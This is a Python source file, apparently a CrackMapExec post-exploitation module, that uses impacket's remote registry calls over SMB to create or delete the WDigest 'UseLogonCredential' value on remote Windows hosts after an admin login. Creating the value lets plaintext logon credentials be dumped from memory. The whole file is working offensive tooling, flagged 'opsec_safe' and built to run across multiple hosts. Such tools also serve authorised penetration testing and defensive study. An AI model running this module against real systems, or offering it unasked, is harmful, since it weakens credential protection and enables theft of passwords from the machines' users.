95 lines
3.4 KiB
Python
95 lines
3.4 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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from impacket.dcerpc.v5.rpcrt import DCERPCException
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from impacket.dcerpc.v5 import rrp
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from impacket.examples.secretsdump import RemoteOperations
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from sys import exit
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class CMEModule:
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name = 'wdigest'
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description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
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supported_protocols = ['smb']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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ACTION Create/Delete the registry key (choices: enable, disable)
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'''
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if not 'ACTION' in module_options:
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context.log.error('ACTION option not specified!')
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exit(1)
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if module_options['ACTION'].lower() not in ['enable', 'disable']:
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context.log.error('Invalid value for ACTION option!')
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exit(1)
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self.action = module_options['ACTION'].lower()
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def on_admin_login(self, context, connection):
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if self.action == 'enable':
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self.wdigest_enable(context, connection.conn)
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elif self.action == 'disable':
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self.wdigest_disable(context, connection.conn)
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def wdigest_enable(self, context, smbconnection):
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remoteOps = RemoteOperations(smbconnection, False)
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remoteOps.enableRegistry()
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if remoteOps._RemoteOperations__rrp:
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ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
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regHandle = ans['phKey']
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
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keyHandle = ans['phkResult']
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rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
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rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
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if int(data) == 1:
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context.log.success('UseLogonCredential registry key created successfully')
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try:
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remoteOps.finish()
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except:
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pass
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def wdigest_disable(self, context, smbconnection):
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remoteOps = RemoteOperations(smbconnection, False)
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remoteOps.enableRegistry()
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if remoteOps._RemoteOperations__rrp:
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ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
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regHandle = ans['phKey']
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ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
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keyHandle = ans['phkResult']
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try:
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rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
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except:
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context.log.success('UseLogonCredential registry key not present')
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try:
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remoteOps.finish()
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except:
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pass
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return
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try:
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#Check to make sure the reg key is actually deleted
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rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
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except DCERPCException:
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context.log.success('UseLogonCredential registry key deleted successfully')
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try:
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remoteOps.finish()
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except:
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pass
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